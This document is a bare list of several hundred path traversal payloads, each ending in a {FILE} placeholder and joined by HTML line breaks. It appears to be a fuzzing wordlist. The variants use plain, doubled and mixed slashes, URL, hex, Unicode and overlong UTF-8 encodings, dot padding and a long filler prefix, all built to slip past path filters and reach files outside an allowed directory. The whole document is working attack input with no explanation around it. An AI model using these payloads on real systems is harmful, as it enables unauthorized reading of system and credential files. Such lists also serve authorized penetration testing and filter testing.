AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> 